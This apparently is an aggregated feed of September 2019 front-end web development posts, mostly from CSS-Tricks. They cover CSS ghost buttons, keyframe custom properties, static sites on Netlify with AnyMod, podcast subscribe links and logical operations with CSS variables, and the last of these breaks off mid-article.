Front End Web Development

Underground World & the man who (thought he) knew everything

Typography - Mon, 09/16/2019 - 7:51pm

Often described as the man who knew everything, Athanasius Kircher (1602–80) was a German Jesuit polymath of international renown during his own lifetime. He was a prolific author with an astoundingly broad range of interests, writing about everything, from geology and geography to sinology and egyptology, biology, medicine, engineering, theology, anthropology, music theory and linguistics. […]

The post Underground World & the man who (thought he) knew everything appeared first on I Love Typography.

CSS-Tricks Chronicle XXXVI

Css Tricks - Mon, 09/16/2019 - 9:48am

This is one of these little roundups of things going on with myself, this site, and the other sites that are part of the CSS-Tricks family.

I was recently in Zürich for Front Conference. It was my first time there and I very much enjoyed the city and the lovely staff of the conference. I was terribly jetlagged for my opener talk so I feel like I didn't quite nail it how I wanted to, but whattyagonnado.

It's named "How to Think Like a Front-End Developer" but it's really more like an adaptation of "ooooops I guess we’re full-stack developers now."

I've packed in several more conferences this fall:

  1. 13 SEP 2019 - Web Unleashed - Toronto, Canada
  2. 18 SEP 2019 - Dot All - Montreal, Canada
  3. 30 SEP 2019 - ARTIFACT - Austin, Texas - Use coupon code LASTCHANCE200 for this one.
  4. 13 OCT 2019 - All Things Open - Raleigh, North Carolina
  5. 16 OCT 2019 - JAMstack_conf - San Francisco, California

Speaking of conferences, if you know of any coming up that aren't on our master list of front-end related web conferences, please do a pull request or contact me.

If we've got anything at ShopTalk Show, it's consistency! I don't even remember the last time we've missed a week, and I enjoy making the show just as much now as I ever have.

Perhaps my favorite show of late was just chatting with Dave about what technology we would pick if on a greenfield (from scratch) project under different circumstances.

But mostly we chat with folks like Tyler McGinnis, Adam Argyle, Rachel Andrew, and Lara Hogan.

We're moving right along at CodePen as well!

  • You can now export Pens with a build process, meaning after an npm install, you have an offline version of CodePen to work with. Need to spin up a little processing environment for like Markdown/Sass/React/Babel? Just set up a blank Pen that way, export it, and you've got it.
  • We're building more and more of CodePen in React, and I think we're past the tipping point where the value in that becomes more and more clear. It's a good technological fit for our type of site. For example, we re-wrote how items are displayed and grids-of-items across the site. So now we build some little feature into it like "pinning" items, and it instantly sprinkles out to all the grids on the entire site. Same with filtering and view options.
  • Along those same lines, little moments like this feel very satisfying to me. That's related to our "Private by Default" feature.
  • We released a feature so you can block other users if it comes down to that (as well as report them to us).
  • We released some high contrast syntax highlighting themes that are both more accessible and darn nice to look at.

I got to be on Giant Robots!

On Giant Robots @chriscoyier, cofounder of @CodePen, creator of CSS-Tricks, & host of @ShopTalkShow, candidly shares how a weekend project turned into a full-time business and aspirations for the future.https://t.co/vPNDflGOwz pic.twitter.com/RChQcVBfeY

— thoughtbot (@thoughtbot) September 16, 2019

We started an Instagram account at @real_css_tricks. The plan is just little educational tidbits.

The post CSS-Tricks Chronicle XXXVI appeared first on CSS-Tricks.

(Why) Some HTML is “optional”

Css Tricks - Mon, 09/16/2019 - 6:34am

Remy Sharp digs into the history of the web and describes why the <p> tag doesn’t need to be closed like this:

<p>Paragraphs don’t need to be closed <p>Pretty weird, huh?

Remy writes:

Pre-DOM, pre-browsers, the world's first browser was being written by Sir Tim Berners-Lee. There was no reference implementation and certainly no such thing as a parsing specification. The first browser, the WorldWideWeb.app, parsed HTML character by character applying styles as it went along. As opposed to today's methods whereby a document object model is built up, then rendered.

[...] The paragraph tag (yes, in upper case) was intended to separate paragraphs, not wrap them.

<P> Paragraph one. <P> Paragraph two. <P> Paragraph three.

Weird, huh! Remy wrote this in response to Chris’ post the other day about optional HTML and how browsers will close certain tags for us or even insert the right elements in place.

Direct Link to ArticlePermalink

The post (Why) Some HTML is “optional” appeared first on CSS-Tricks.

Web Development Merit Badges

Css Tricks - Mon, 09/16/2019 - 4:30am
Changed a DNS record and everything worked just fine Comprehended someone else's RegEx Built an accordion from scratch Exited VIM Accidentally created own CMS Pulled off a design you didn’t think you could Told a client/boss "No, we're not doing that." Wrote an HTAccess redirect that included a capture group Refactored a large portion of CSS and didn't break anything Centered an element vertically and horizontally Migrated a database without character encoding issues Pushed to production on Friday and didn't roll it back over the weekend Merged master into a six month old branch Had a neglected site get hacked and spammed Used CSS Grid in production Someone you don't know starred one of your GitHub Repositories Hand-coded a HTML email Gave someone useful feedback on a Pull Request Debugged something for over one hour where the fix was literally one character Solved a bug by taking a nap Became extremely confused by a CORS error Quoted the exact number of hours it took to do the job Renewed an SSL certificate without any drama Found an answer to an issue on StackOverflow Rocked the Checkbox Hack on a project Your personal website hasn't been updated in at least 5 years

The post Web Development Merit Badges appeared first on CSS-Tricks.

5G Will Definitely Make the Web Slower, Maybe

Css Tricks - Mon, 09/16/2019 - 4:27am

Scott Jehl has written this wonderful piece about how 5G is on the horizon and how it could cause problems for users. But first, he starts by talking about the overwhelming positive news about it:

[...] as it matures 5G is predicted to improve network speeds dramatically. Carriers are predicting download speeds in 2019 for anywhere from 100Mb to 1 Gbit per second on average.

This is...bonkers! Numbers like this make it seem as though the web’s performance problems are merely a matter of infrastructure. But Scott continues:

Faster networks should fix our performance problems, but so far, they have had an interesting if unintentional impact on the web. This is because historically, faster network speed has enabled developers to deliver more code to users—in particular, more JavaScript code.

During the years 2011 through 2019, 4g coverage spread from 5% to 79% of the world. During that same time period, the median average JavaScript transfer size to mobile devices increased by 611%, from 52kb to 372.9 KB.

When I read this, I thought of how adding extra lanes to highways actually causes more traffic, which is equally weird and counterintuitive. But networks are like highways in this way, as Scott shows above. He continues to look at how most phones won’t be using the latest and greatest tech and we’ll always have to consider the users that are using the slowest devices on the slowest networks, regardless of how fast our connection might be:

As networks improve, we have a huge opportunity to improve the web we build, but it’s on us to take that opportunity, or squander it.

Direct Link to ArticlePermalink

The post 5G Will Definitely Make the Web Slower, Maybe appeared first on CSS-Tricks.

caniemail.com

Css Tricks - Sat, 09/14/2019 - 4:03pm

As long as I can remember the main source for feature support in HTML email clients is Campaign Monitor's guide. Now there is a new player on the block: caniemail.com.

HTML email is often joked about in how you have to code for it in such an antiquated way (<table>s! really!) but that's perhaps not a fair shake. 2 years ago Kevin Mandeville talked about how he used CSS grid (not kidding) in an email:

Our Apple Mail audience at Litmus is approximately 30%, so a good portion of our subscriber base is able to see the grid desktop layout.

Where CSS Grid isn't supported (and for device/window widths of less than 850 pixels), we fell back to a one-column layout.

Just like websites, right? They don't have to look the same everywhere, as long as the experience is acceptable everywhere.

Rémi announces the new site:

... we have more than 50 HTML and CSS features tested across 25 emails clients. And we’ve got a lot more coming up in the following weeks and months.

We’re also delighted to present the Email Client Support Scoreboard. For the first time in history, we provide an objective ranking of email clients based on their support for HTML and CSS features.

Interested in grid support? They got it. The data is tucked into Front Matter in Markdown files in the repo.

Direct Link to ArticlePermalink

The post caniemail.com appeared first on CSS-Tricks.

Where should “Subscribe to Podcast” link to?

Css Tricks - Fri, 09/13/2019 - 12:20pm

For a while, iTunes was the big dog in podcasting, so if you linked "Subscribe to Podcast" to like:

https://podcasts.apple.com/podcast/id493890455

...that would make sense. It's a web URL anyway, so it will work for anyone and has information about the podcast, as well as a list of recent shows you can even listen to right there. For Apple folks, you might be redirected in-app (mobile) or it becomes one click away (desktop). But for folks on Android or Linux or Windows or something, that's not particularly useful.

What are the other possibilities?

Podcasts are essentially dressed up RSS, so giving people a link to the feed isn't out of the question. We do that on both ShopTalk and CodePen Radio:

I like PocketCasts for my podcasts. I feel like this used to be more obvious, but pasting in an RSS link to search does seem to find the feeds.

I would think (and hope!) that most podcast apps have some way to subscribe manually via feed. But... pretty nerdy and probably a little too dangerous for just a "Subscribe to Podcast" link.

For Android specifically, there is a site where you can put your feed URL after "subscribeonandroid.com" and get a special page just for that:

https://subscribeonandroid.com/blog.codepen.io/feed/podcast/

They say:

If the listener has a one click supported app on their android device, the App will load automatically.

And clearly there are some options:

I find the most common option on podcasts is to link to a soup of popular options:

I think that's probably a safe thing to do. For one, it signals that you're on top of your game a bit and that your show is working on major platforms. But more importantly, podcast listeners probably know what platform they mainly use and clicking on a link specifically for that platform is probably quite natural.

Speaking of major platforms, Spotify is going big on podcasts, so linking directly to Spotify probably isn't the worst choice you could make.

https://open.spotify.com/show/2PUoQB330ft0sTzSNoCPrH?si=ZUYOtZSZQZyrDdo81l7TcA

But there are situations where you only get one link. Instagram is notable for this. No links on posts — only the one link on your profile. You could send them to your website, but of course, with podcasts, the name of the game is making it easy to subscribe. That means getting people right there is best. But also with stuff like tweets, you can't always deliver a smorgasbord of links. Hence the title of this blog post. If you gotta link to just one place to subscribe, where should it be?

Looks like that's what Plink does.

Here's ShopTalk: https://plnk.to/shoptalk

Visiting on desktop gets you the smorgasbord of links. Visiting on my iPhone, I get a direct link to Apple Podcasts.

That's what they do:

Auto-open installed Podcast Apps native to listener's iOS, Android, and other mobile and smart watch devices. Each smart link also has a Show Page that desktop users will see with links to that show in Apps like Apple & Google Podcasts, Spotify, Stitcher, Overcast, and other podcatchers.

They apparently use all kinds of data to figure it out.

... will detect the listener's device, geo, and other factors and send them to your show in pre-installed podcast apps.

Anybody can make a redirect link to particular platforms. Like, we could have built shoptalkshow.com/spotify and shoptalkshow.com/itunes and redirected to those places, but what you get here is fancy auto-detection in a single link.

I signed up for it for ShopTalk, so we'll see if we end up using it much or not.

The post Where should “Subscribe to Podcast” link to? appeared first on CSS-Tricks.

Meditations on Snowflakes

Typography - Fri, 09/13/2019 - 5:52am

Born in December 1571 in southwest Germany, Johannes Kepler would go on to become one of the greatest observational astronomers of all time. He would also write books that forever transformed our view of the cosmos. He is best known for his three laws of planetary motion that describe the motion of planets around the […]

The post Meditations on Snowflakes appeared first on I Love Typography.

Ghost Buttons with Directional Awareness in CSS

Css Tricks - Fri, 09/13/2019 - 3:49am

It would surprise me if you'd never come across a ghost button &#x1f47b;. You know the ones: they have a transparent background that fills with a solid color on hover. Smashing Magazine has a whole article going into the idea. In this article, we’re going to build a ghost button, but that will be the easy part. The fun and tricky part will be animating the fill of that ghost button such that the background fills up in the direction from which a cursor hovers over it.

Here’s a basic starter for a ghost button:

See the Pen
Basic Ghost Button &#x1f47b;
by Jhey (@jh3y)
on CodePen.

In most cases, the background-color has a transition to a solid color. There are designs out there where the button might fill from left to right, top to bottom, etc., for some visual flair. For example, here’s left-to-right:

See the Pen
Directional filling Ghost Button &#x1f47b;
by Jhey (@jh3y)
on CodePen.

There's a UX nitpick here. It feels off if you hover against the fill. Consider this example. The button fills from the left while you hover from the right.

Hover feels off &#x1f44e;

It is better if the button fills from our initial hover point.

Hover feels good &#x1f44d;

So, how can we give the button directional awareness? Your initial instinct might be to reach for a JavaScript solution, but we can create something with CSS and a little extra markup instead.

For those in camp TL;DR, here are some pure CSS ghost buttons with directional awareness!

See the Pen
Pure CSS Ghost Buttons w/ Directional Awareness ✨&#x1f47b;&#x1f60e;
by Jhey (@jh3y)
on CodePen.

Let’s build this thing step by step. All the code is available in this CodePen collection.

Creating a foundation

Let’s start by creating the foundations of our ghost button. The markup is straightforward.

<button>Boo!</button>

Our CSS implementation will leverage CSS custom properties. These make maintenance easier. They also make for simple customization via inline properties.

button { --borderWidth: 5; --boxShadowDepth: 8; --buttonColor: #f00; --fontSize: 3; --horizontalPadding: 16; --verticalPadding: 8; background: transparent; border: calc(var(--borderWidth) * 1px) solid var(--buttonColor); box-shadow: calc(var(--boxShadowDepth) * 1px) calc(var(--boxShadowDepth) * 1px) 0 #888; color: var(--buttonColor); cursor: pointer; font-size: calc(var(--fontSize) * 1rem); font-weight: bold; outline: transparent; padding: calc(var(--verticalPadding) * 1px) calc(var(--horizontalPadding) * 1px); transition: box-shadow 0.15s ease; } button:hover { box-shadow: calc(var(--boxShadowDepth) / 2 * 1px) calc(var(--boxShadowDepth) / 2 * 1px) 0 #888; } button:active { box-shadow: 0 0 0 #888; }

Putting it all together gives us this:

See the Pen
Ghost Button Foundation &#x1f47b;
by Jhey (@jh3y)
on CodePen.

Great! We have a button and a hover effect, but no fill to go with it. Let’s do that next.

Adding a fill

To do this, we create elements that show the filled state of our ghost button. The trick is to clip those elements with clip-path and hide them. We can reveal them when we hover over the button by transitioning the clip-path.

Child element with a 50% clip

They must line up with the parent button. Our CSS variables will help a lot here.

At first thought, we could have reached for pseudo-elements. There won't be enough pseudo-elements for every direction though. They will also interfere with accessibility... but more on this later.

Let's start by adding a basic fill from left to right on hover. First, let's add a span. That span will need the same text content as the button.

<button>Boo! <span>Boo!</span> </button>

Now we need to line our span up with the button. Our CSS variables will do the heavy lifting here.

button span { background: var(--buttonColor); border: calc(var(--borderWidth) * 1px) solid var(--buttonColor); bottom: calc(var(--borderWidth) * -1px); color: var(--bg, #fafafa); left: calc(var(--borderWidth) * -1px); padding: calc(var(--verticalPadding) * 1px) calc(var(--horizontalPadding) * 1px); position: absolute; right: calc(var(--borderWidth) * -1px); top: calc(var(--borderWidth) * -1px); }

Finally, we clip the span out of view and add a rule that will reveal it on hover by updating the clip. Defining a transition will give it that cherry on top.

button span { --clip: inset(0 100% 0 0); -webkit-clip-path: var(--clip); clip-path: var(--clip); transition: clip-path 0.25s ease, -webkit-clip-path 0.25s ease; // ...Remaining div styles } button:hover span { --clip: inset(0 0 0 0); }

See the Pen
Ghost Button w/ LTR fill &#x1f47b;
by Jhey (@jh3y)
on CodePen.

Adding directional awareness

So, how might we add directional awareness? We need four elements. Each element will be responsible for detecting a hover entry point. With clip-path, we can split the button area into four segments.

Four :hover segments

Let's add four spans to a button and position them to fill the button.

<button> Boo! <span></span> <span></span> <span></span> <span></span> </button> button span { background: var(--bg); bottom: calc(var(--borderWidth) * -1px); -webkit-clip-path: var(--clip); clip-path: var(--clip); left: calc(var(--borderWidth) * -1px); opacity: 0.5; position: absolute; right: calc(var(--borderWidth) * -1px); top: calc(var(--borderWidth) * -1px); z-index: 1; }

We can target each element and assign a clip and color with CSS variables.

button span:nth-of-type(1) { --bg: #00f; --clip: polygon(0 0, 100% 0, 50% 50%, 50% 50%); } button span:nth-of-type(2) { --bg: #f00; --clip: polygon(100% 0, 100% 100%, 50% 50%); } button span:nth-of-type(3) { --bg: #008000; --clip: polygon(0 100%, 100% 100%, 50% 50%); } button span:nth-of-type(4) { --bg: #800080; --clip: polygon(0 0, 0 100%, 50% 50%); }

Cool. To test this, let's change the opacity on hover.

button span:nth-of-type(1):hover, button span:nth-of-type(2):hover, button span:nth-of-type(3):hover, button span:nth-of-type(4):hover { opacity: 1; } So close

Uh-oh. There's an issue here. If we enter and hover one segment but then hover over another, the fill direction would change. That's going to look off. To fix this, we can set a z-index and clip-path on hover so that a segment fills the space.

button span:nth-of-type(1):hover, button span:nth-of-type(2):hover, button span:nth-of-type(3):hover, button span:nth-of-type(4):hover { --clip: polygon(0 0, 100% 0, 100% 100%, 0 100%); opacity: 1; z-index: 2; }

See the Pen
Pure CSS Directional Awareness w/ clip-path &#x1f47b;
by Jhey (@jh3y)
on CodePen.

Putting it all together

We know how to create the fill animation, and we know how to detect direction. How can we put the two together? Use the sibling combinator!

Doing so means when we hover a directional segment, we can reveal a particular fill element.

First, let's update the markup.

<button> Boo! <span></span> <span></span> <span></span> <span></span> <b>Boo!</b> <b>Boo!</b> <b>Boo!</b> <b>Boo!</b> </button>

Now, we can update the CSS. Referring to our left-to-right fill, we can reuse the styling. We only need to set a specific clip-path for each element. I've approached the ordering the same as some property values. The first child is top, the second is right, and so on.

button b:nth-of-type(1) { --clip: inset(0 0 100% 0); } button b:nth-of-type(2) { --clip: inset(0 0 0 100%); } button b:nth-of-type(3) { --clip: inset(100% 0 0 0); } button b:nth-of-type(4) { --clip: inset(0 100% 0 0); }

The last piece is to update the clip-path for the relevant element when hovering the paired segment.

button span:nth-of-type(1):hover ~ b:nth-of-type(1), button span:nth-of-type(2):hover ~ b:nth-of-type(2), button span:nth-of-type(3):hover ~ b:nth-of-type(3), button span:nth-of-type(4):hover ~ b:nth-of-type(4) { --clip: inset(0 0 0 0); }

Tada! We have a pure CSS ghost button with directional awareness.

See the Pen
Pure CSS Ghost Button w/ Directional Awareness &#x1f47b;
by Jhey (@jh3y)
on CodePen.

Accessibility

In its current state, the button isn't accessible.

The extra markup is read by VoiceOver.

Those extra elements aren't helping much as a screen reader will repeat the content four times. We need to hide those elements from a screen reader.

<button> Boo! <span></span> <span></span> <span></span> <span></span> <b aria-hidden="true">Boo!</b> <b aria-hidden="true">Boo!</b> <b aria-hidden="true">Boo!</b> <b aria-hidden="true">Boo!</b> </button>

No more repeated content.

See the Pen
Accessible Pure CSS Ghost Button w/ Directional Awareness &#x1f47b;
by Jhey (@jh3y)
on CodePen.

That’s it!

With a little extra markup and some CSS trickery, we can create ghost buttons with directional awareness. Use a preprocessor or put together a component in your app and you won't need to write out all the HTML, too.

Here's a demo making use of inline CSS variables to control the button color.

See the Pen
Pure CSS Ghost Buttons w/ Directional Awareness ✨&#x1f47b;&#x1f60e;
by Jhey (@jh3y)
on CodePen.

The post Ghost Buttons with Directional Awareness in CSS appeared first on CSS-Tricks.

Weekly Platform News: Apple Deploys Web Components, Progressive HTML Rendering, Self-Hosting Critical Resources

Css Tricks - Thu, 09/12/2019 - 1:33pm

In this week's roundup, Apple gets into web components, how Instagram is insta-loading scripts, and some food for thought for self-hosting critical resources.

Apple deploys web components built using Stencil

The new Apple Music web app (beta) uses a JavaScript framework (Ember.js) but also standard web components such as <apple-music-video-player> that are built using Stencil, a web component compiler.

Stencil is a build-time tool that generates standard web components with minimal overhead, while providing core features such as templating, state management, and routing, as well as performance features such as code-splitting and lazy-loading.

Apple just deployed into production nearly 50 web components powering a major app they have a significant amount of revenue and strategic value riding on. You can’t say that “no one uses web components” or they are “solving problems that don‘t exist or have been solved better in user land” with a straight face anymore.

(via Max Lynch)

Instagram makes use of chunked transfer encoding and progressive HTML rendering

Instagram’s website uses HTTP chunked transfer encoding to stream the contents of the HTML document to the browser as each part of the page is generated on the server.

We can flush the HTML <head> to the browser almost immediately ... This allows the browser to start downloading scripts and stylesheets while the server is busy generating the dynamic data in the rest of the page.

They also use this technique to flush JSON data to the page in <script> elements. The client script waits for this data (using Promise) instead of requesting it via XHR.

(via Glenn Conner)

Consider self-hosting your critical resources

One section of University of Notre Dame’s website used to load jQuery from Google’s CDN, which could result in very long loading times (100+ seconds) when visiting the site from China. They’ve resolved the issue by self-hosting jQuery instead.

(via Erik Runyon)

Read even more news in my weekly Sunday issue. Visit webplatform.news for more information.

The post Weekly Platform News: Apple Deploys Web Components, Progressive HTML Rendering, Self-Hosting Critical Resources appeared first on CSS-Tricks.

Simplicity

Css Tricks - Thu, 09/12/2019 - 8:14am

Earlier this week, Bastian Allgeier published some interesting thoughts about complexity in web development and how changing simple things can often feel far more difficult than they need to be:

You want to build a JS file? Please update Webpack first. Oh, that new version of Webpack is no longer compatible with your Node version. Oh, your new Node version is no longer compatible with that other dependency. Oh, now you have 233 detected security issues in all your node_modules but you can't fix them because that would break something completely unrelated.

It's a UX nightmare and I haven't found a single exception yet. Vue Cli or Parcel are the most positive examples, where positive means: not as horrible as the rest.

This dependency hell is also the reason why old projects are almost like sealed capsules. You can hardly let a project lie around for more than a year, because afterwards it's probably broken.

A couple of weeks ago, I returned to a web app that was built with a variety of tools I hadn’t updated in quite some time and realized that it would be an enormous effort to fix all the packages and dependencies; instead I should just start over again. I can certainly empathise with Bastian on this stuff.

This reminds me that Chris wrote a great essay not so long about simple web development and collected a ton of thoughts from other developers out there.

Direct Link to ArticlePermalink

The post Simplicity appeared first on CSS-Tricks.

Using Custom Properties to Wrangle Variations in Keyframe Animations

Css Tricks - Thu, 09/12/2019 - 4:22am

Have you ever wondered how to customize CSS animations keyframes without using any preprocessor feature, like mixins? I keep reaching for preprocessors for this reason, but it would be so nice to drop yet one more dependency and go with vanilla CSS.

Well, I found a way to account for variations within a keyframe animation using nothing but CSS and it’s thanks to custom properties! Let’s learn a little more about how CSS keyframes work and how we can enhance them with CSS and a touch of custom properties.

Understanding CSS animations inheritance

When we assign an animation to an element, we can customize some of its properties such as duration, delay, and so on. Let me show you a dummy example: we have two classes: .walk and .run. Both share the same animation (named breath) and .run executes the animation faster than .walk (0.5s to 2s, respectively).

@keyframes breath { from { transform: scale(0.5); } to { transform: scale(1.5); } } /* Both share the same animation, but walking is _slower_ than running */ .walk { animation: breath 2s alternate; } .run { animation: breath 0.5s alternate; }

Each time we reuse an animation, it can behave differently based on the properties we assign it. So, we can say that an animation inherits its behavior based on the element where it’s applied.

But what about the animation *rules* (the scale in this case)? Let’s go back to the breath animation example: The .walk class executes breath slower but it also needs to be deeper, so we need to change its scale value to be larger than it is for the .run class, which takes smaller, more frequent breaths.

The common approach in plain CSS is to duplicate the original animation and tweak the values directly in the class:

@keyframes breath { /* same as before... */ } /* similar to breath, but with different scales */ @keyframes breathDeep { from { transform: scale(0.3); } to { transform: scale(1.7); } } .walk { animation: breathDeep 2s alternate; } .run { animation: breath 0.5s alternate; }

While this works fine, there’s a better solution which allow us to reuse both the animation’s properties and its values! How? By taking advantage of CSS variables inheritance! Let’s see how:

/* breath behaves based on the CSS variables values that are inherited */ @keyframes breath { from { transform: scale(var(--scaleStart)); } to { transform: scale(var(--scaleEnd)); } } .walk { --scaleStart: 0.3; --scaleEnd: 1.7; animation: breath 2s alternate; } .run { --scaleStart: 0.8; --scaleEnd: 1.2; animation: breath 0.5s alternate; }

Cool, right? Now we don’t need to write duplicate animations to get varying effects from the same animation!

If you need to go even further, remember that we can also update CSS custom properties with JavaScript. Not only root variables, but also in specific elements. I find this incredible powerful because we can create more efficient animations by taking advantage of JavaScript without losing the native optimizations from CSS animation. It’s a win-win!

See the Pen
Dynamic CSS @keyframes w/ CSS Vanilla
by Sandrina Pereira (@sandrina-p)
on CodePen.

The post Using Custom Properties to Wrangle Variations in Keyframe Animations appeared first on CSS-Tricks.

Fast Static Sites with Netlify and AnyMod

Css Tricks - Thu, 09/12/2019 - 4:21am

In about 10 minutes, we'll set up a workflow that makes static sites dead simple.

You'll get the following:

  • Free https
  • Free or cheap hosting
  • Build sites quickly
  • Edit with live reload
  • Edit when you’ve forgotten everything in 6 months
Start: signups

We can get all this by using Netlify (really simple static hosting) along with AnyMod (100s of website sections).

Set up deploy pipeline

We’ll create a basic HTML file, track it with GitHub, and then auto-deploy with Netlify.

(If you prefer a manual setup, you can skip this step and instead deploy to Netlify by dragging/dropping into the Netlify folder.)

1. Create an empty repo in GitHub.

Go to https://github.com/new and Name it netlify-anymod:

GitHub setup 2. Connect Netlify to your repo.

You will do this from the Netlify start screen.

Netlify setup 3. Create a folder on your computer and add a file named index.html.

You can run the following in your terminal to do this:

mkdir netlify-anymod cd netlify-anymod touch index.html

Now edit the index.html file to add some basic HTML structure:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Netlify & AnyMod | CSS Tricks</title> </head> <body> Hello, World! </body> </html> 4. Track it with git and deploy to GitHub git init git remote add origin https://github.com/tyrw/netlify-anymod.git git add -A git commit -m "Initial commit" git push --set-upstream origin master

Note: use your own repo URL for git remote add origin).

Check your Netlify URL after a minute or so, and your site should be live!

Live site Add section "mods"

Now that we have our deploy setup, we can build the page itself. We'll do this with ready-to-use modules ("mods") on AnyMod.

There are a lot to choose from, but we'll use mods from the Editorial theme:

Navigation

(View this mod)

Intro / Hero unit

(View this mod)

Form

(View this mod)

Image gallery

(View this mod)

Clone and add mods

Add these mods by clicking "Clone" for each one and then scroll down and copy/paste the installation code into the index.html file. Also copy and paste your project script at the top.

Your index.html should now look something like this:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <meta http-equiv="X-UA-Compatible" content="ie=edge" /> <title>Netlify & AnyMod | CSS Tricks</title> <!-- AnyMod --> <script id="AnyMod-script"> (function (m,o,d,u,l,a,r,i,z,e) { u[m]={Project:o,rq:[],Opts:r,ready:function(j){u[m].rq.push(j)}};function j(s){return encodeURIComponent(btoa(s))};z=l.getElementById(m+'-'+a);r=u.location; e=[d+'/page/'+o+'/'+j(r.pathname)+'/'+j(r.host)+'?t='+Date.now(),d];e.map(function(w){i=l.createElement(a);i.defer=1;i.src=w;z.parentNode.insertBefore(i,z);}); })('AnyMod','82PEPN','https://cdn.anymod.com/v2',window,document,'script',{ toolkit: true, tips: true, priority: 3 }); </script> <!-- /AnyMod --> </head> <body> <!-- Professional side nav --> <div id="anymod-mlrnbm"></div> <!-- Intro section --> <div id="anymod-ormard"></div> <!-- Contact form --> <div id="anymod-ralmam"></div> <!-- Card section --> <div id="anymod-balmaa"></div> </body> </html>

And the page is ready to go.

Now save and push to GitHub to deploy the site:

git add -A git commit -m "Added mods" git push origin

Wait a minute, and your site should be ready to use. Here is the demo page.

See Demo

Editing content

Now you can live edit the content and code for each mod. When viewing your own page (while also logged into AnyMod), you see a pencil on the right side:

AnyMod pencil

Click the pencil and choose a mod. Now try making some edits to the content (or code) and notice that it updates on the page automatically in real time.

AnyMod live edit

You can use this method to make edits now or in 6 months when you've forgotten how the project is set up.

Form

The form also works automatically. Try submitting a message on your own page; the response will be emailed to you right away.

Conclusion

You now have a great way to build fast, reliable, secure static sites.

Remember: with great power comes great responsibility.

The post Fast Static Sites with Netlify and AnyMod appeared first on CSS-Tricks.

Logical Operations with CSS Variables

Css Tricks - Wed, 09/11/2019 - 4:26am

Very often, while using switch variables (a variable that's either 0 or 1, a concept that's explained in a greater detail in in this post), I wish I could perform logical operations on them. We don't have functions like not(var(--i)) or and(var(--i), var(--k)) in CSS, but we can emulate these and more with arithmetic operations in a calc() function.

This article is going to show you what calc() formulas we need to use for each logical operation and explain how and why they are used with a couple of use cases that lead to the writing of this article.

How: the formulas not

This is a pretty straightforward one: we subtract the switch variable (let's call it --j) from 1:

--notj: calc(1 - var(--j))

If --j is 0, then --notj is 1 (1 - 0). If j is 1, then --notj is 0 (1 - 1).

and

Now, if you've ever taken electronics classes (particularly something like Programmed Logic Systems or Integrated Circuits), then you already know what formula we need to use here. But let's not jump straight into it.

The and of two operands is true if and only if both are true. The two operands in our case are two switch variables (let's call them --k and --i). Each of them can be either 0 or 1, independently of the other. This means we can be in one out of four possible scenarios:

  • --k: 0, --i: 0
  • --k: 0, --i: 1
  • --k: 1, --i: 0
  • --k: 1, --i: 1

The result of the and operation is 1 if both our switch variables are 1 and 0 otherwise. Looking at it the other way, this result is 0 if at least one of the two switch variables is 0.

Now you need to think of it this way: the result of what arithmetic operation is 0 if at least one of the two operands is 0? That's multiplication, as multiplying anything by 0 gives us 0!

So, our --and formula is:

--and: calc(var(--k)*var(--i))

Considering each of our four possible scenarios, we have:

  • for --k: 0, --i: 0, we have that --and is 0 (0*0)
  • for --k: 0, --i: 1, we have that --and is 0 (0*1)
  • for --k: 1, --i: 0, we have that --and is 0 (1*0)
  • for --k: 1, --i: 1, we have that --and is 1 (1*1)
nand

Since nand is not and, we need to replace the --j in the not formula with the formula for and:

--nand: calc(1 - var(--k)*var(--i))

For each of our four possible scenarios, we get:

  • for --k: 0, --i: 0, we have that --nand is 1 (1 - 0*0 = 1 - 0)
  • for --k: 0, --i: 1, we have that --nand is 1 (1 - 0*1 = 1 - 0)
  • for --k: 1, --i: 0, we have that --nand is 1 (1 - 1*0 = 1 - 0)
  • for --k: 1, --i: 1, we have that --nand is 0 (1 - 1*1 = 1 - 1)
or

The result of the or operation is 1 if at least one of our switch variables is 1 and 0 otherwise (if both of them are 0).

The first instinct here is to go for addition, but while that gives us 0 if both --k and --i are 0 and 1 if one is 0 and the other one is 1, it gives us 2 if both of them are 1. So that doesn't really work.

But we can use the good old De Morgan's laws, one of which states:

not (A or B) = (not A) and (not B)

This means the result of the or operation is the negation of the and operation between the negations of --k and --i. Putting this into CSS, we have:

--or: calc(1 - (1 - var(--k))*(1 - var(--i)))

For each scenario, we get:

  • for --k: 0, --i: 0, we have that --or is 0 (1 - (1 - 0)*(1 - 0) = 1 - 1*1 = 1 - 1)
  • for --k: 0, --i: 1, we have that --or is 1 (1 - (1 - 0)*(1 - 1) = 1 - 1*0 = 1 - 0)
  • for --k: 1, --i: 0, we have that --or is 1 (1 - (1 - 1)*(1 - 0) = 1 - 0*1 = 1 - 0)
  • for --k: 1, --i: 1, we have that --or is 1 (1 - (1 - 1)*(1 - 1) = 1 - 0*0 = 1 - 0)
nor

Since nor is not or, we have:

--nor: calc((1 - var(--k))*(1 - var(--i)))

For each of our four possible scenarios, we get:

  • for --k: 0, --i: 0, we have that --nor is 1 ((1 - 0)*(1 - 0) = 1*1)
  • for --k: 0, --i: 1, we have that --nor is 0 ((1 - 0)*(1 - 1) = 1*0)
  • for --k: 1, --i: 0, we have that --nor is 0 ((1 - 1)*(1 - 0) = 0*1)
  • for --k: 1, --i: 1, we have that --nor is 0 ((1 - 1)*(1 - 1) = 0*0)
xor

The result of the xor operation is 1 when one of the two operands is 1 and the other one is 0. This feels trickier at first, but, if we think this means the two operands need to be different for the result to be 1 (otherwise it's 0), we stumble upon the right arithmetic operation to use inside calc(): subtraction!

If --k and --i are equal, then subtracting --i from --k gives us 0. Otherwise, if we have --k: 0, --i: 1, the result of the same subtraction is -1; if we have --k: 1, --i: 0, the result is 1.

Close, but not quite! We get the result we want in three out of four scenarios, but we need to get 1, not -1 in the --k: 0, --i: 1 scenario.

However, one thing that -1, 0 and 1 have in common is that multiplying them with themselves gives us their absolute value (which is 1 for both -1 and 1). So the actual solution is to multiply this difference with itself:

--xor: calc((var(--k) - var(--i))*(var(--k) - var(--i)))

Testing each of our four possible scenarios, we have:

  • for --k: 0, --i: 0, we have that --xor is 0 ((0 - 0)*(0 - 0) = 0*0)
  • for --k: 0, --i: 1, we have that --xor is 1 ((0 - 1)*(0 - 1) = -1*-1)
  • for --k: 1, --i: 0, we have that --xor is 1 ((1 - 0)*(1 - 0) = 1*1)
